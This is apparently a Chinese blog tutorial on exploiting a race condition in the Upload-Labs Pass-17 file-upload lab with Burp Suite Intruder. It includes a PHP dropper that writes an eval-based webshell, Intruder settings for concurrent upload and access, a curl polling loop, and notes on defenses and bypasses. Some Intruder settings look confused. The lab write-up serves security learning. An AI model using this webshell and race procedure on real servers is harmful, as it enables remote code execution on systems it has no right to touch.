用Burp Suite Intruder爆破Upload-Labs Pass-17:一次看懂PHP文件上传的‘时间差’攻击

张开发
2026/5/7 12:38:40 15 分钟阅读

分享文章

用Burp Suite Intruder爆破Upload-Labs Pass-17:一次看懂PHP文件上传的‘时间差’攻击
Burp Suite Intruder实战破解Upload-Labs Pass-17的条件竞争漏洞在Web安全测试中文件上传漏洞一直是攻击者最青睐的攻击向量之一。而条件竞争漏洞Race Condition则是一种容易被忽视但危害极大的漏洞类型。本文将带你深入理解如何利用Burp Suite的Intruder模块通过时间差攻击突破Upload-Labs第17关的安全防护。1. 条件竞争漏洞的核心原理条件竞争漏洞的本质在于服务器在处理并发请求时存在逻辑缺陷。在文件上传场景中典型的漏洞模式是服务器先保存上传的文件然后检查文件内容或扩展名最后根据检查结果决定保留或删除文件这个看似合理的流程存在一个关键问题检查与删除操作不是原子性的。攻击者可以利用这个时间窗口在文件被删除前访问它。提示原子性操作指的是不可分割的操作要么完全执行要么完全不执行没有中间状态。以PHP为例典型的漏洞代码如下if(move_uploaded_file($temp_file, $upload_file)) { if(!in_array($file_ext, $allowed_ext)) { unlink($upload_file); // 非白名单扩展名则删除 } else { rename($upload_file, $new_name); // 合法文件则重命名 } }这段代码的问题在于move_uploaded_file和unlink之间存在时间差攻击者可以在这个间隙访问上传的文件。2. 实验环境准备要进行这个实验你需要准备以下环境靶机环境Upload-Labs Pass-17可从GitHub获取PHP运行环境推荐PHP 5.4-7.4版本Web服务器Apache/Nginx攻击工具Burp Suite Community/Professional版现代浏览器Chrome/FirefoxBurp Suite浏览器代理配置测试文件 创建一个名为exploit.php的文件内容如下?php file_put_contents(shell.php, ?php eval($_REQUEST[cmd]);?); echo Exploit executed!; ?这个脚本会在服务器上创建一个webshell文件shell.php允许执行任意PHP代码。3. Burp Suite Intruder的精准配置Burp Suite的Intruder模块是实施条件竞争攻击的理想工具。以下是关键配置步骤3.1 拦截上传请求在浏览器中上传exploit.php文件使用Burp Proxy拦截该请求右键选择Send to Intruder3.2 攻击类型选择在Intruder的Positions标签中攻击类型选择Pitchfork最适合条件竞争场景清除所有自动标记的参数手动添加两个攻击点在文件名处添加§exploit§.php在请求体边界处添加§boundary§3.3 Payload设置转到Payloads标签配置两组PayloadPayload set 1文件名Payload类型Simple list添加多个相似但不同的文件名如exploit1, exploit2等Payload set 2边界值Payload类型Numbers范围1-10000步长13.4 资源池与线程配置在Resource Pool选项卡中参数推荐值说明Threads20-30过高可能导致请求失败Requests per minuteUnlimited不限制请求速率Retry on failure勾选自动重试失败请求注意线程数并非越高越好需要根据目标服务器性能调整。过高的并发可能导致请求被丢弃。4. 并发访问攻击的实施单纯发送上传请求是不够的我们需要同时触发对上传文件的访问。这需要第二个Intruder任务4.1 构造访问请求在浏览器中尝试访问http://target/upload/exploit.php拦截该请求并发送到Intruder使用Sniper攻击类型在URL路径处标记攻击点exploit§1§.php4.2 Payload配置Payload类型Numbers范围1-10000步长14.3 同步执行先启动上传攻击不要等待完成立即启动访问攻击观察两个攻击的进度关键指标是访问攻击的响应404文件不存在尚未上传或已被删除200成功访问到文件攻击成功500服务器错误5. 结果分析与验证当攻击运行时你需要密切关注以下方面5.1 响应过滤在Intruder结果界面使用过滤器Filter: Status code 200这能快速定位成功的访问请求。5.2 文件验证成功攻击后检查服务器上传目录查找新创建的shell.php文件尝试访问该文件并执行简单命令如http://target/upload/shell.php?cmdechomd5(123);预期应返回202cb962ac59075b964b07152d234b70123的MD5值。5.3 时间窗口测量通过调整攻击参数可以估算漏洞的时间窗口线程数成功率推断时间窗口105%非常短2030%约50ms3050%约100ms5050%可能达到服务器并发极限6. 防御措施与绕过技巧了解攻击方法后我们也要知道如何防御和可能的绕过方式6.1 有效防御方案白名单验证在移动文件前先验证扩展名使用pathinfo()函数而非字符串截取原子操作$temp_file $_FILES[file][tmp_name]; $ext strtolower(pathinfo($_FILES[file][name], PATHINFO_EXTENSION)); if(in_array($ext, $allowed_ext)) { $new_name uniqid()...$ext; if(move_uploaded_file($temp_file, $upload_dir./.$new_name)) { // 处理成功 } }文件内容检测使用exif_imagetype()检测图片文件对上传文件进行重采样处理6.2 可能的绕过技巧即使采取了防御措施仍可能存在绕过方式慢速攻击使用低速但持久的请求延长时间窗口配合HTTP协议特性如分块传输编码存储竞争利用服务器缓存机制结合文件包含漏洞逻辑缺陷某些安全检查可能只在第一次访问时执行利用临时文件清理机制的延迟7. 实战经验与技巧分享在实际渗透测试中我发现以下几个技巧特别有用使用不同的文件内容 不是所有服务器都会立即解析PHP文件可以尝试?php sleep(10); file_put_contents(shell.php, ?php eval($_POST[cmd]);?);这给攻击者更多时间检测文件是否存在。结合目录遍历 如果知道文件被移动到的位置可以直接针对目标路径发起访问攻击。监控技术 编写简单的监控脚本检测文件出现while true; do curl -s http://target/upload/test.txt break; doneBurp宏自动化 可以创建Burp宏来自动化整个攻击流程包括文件上传延迟等待文件访问结果检查通过Burp Suite的Intruder模块实施条件竞争攻击不仅能够帮助理解这类漏洞的本质也是提升Web安全测试技能的重要实践。记住真正的安全测试不在于使用工具而在于理解背后的原理和创造性地应用这些知识。

更多文章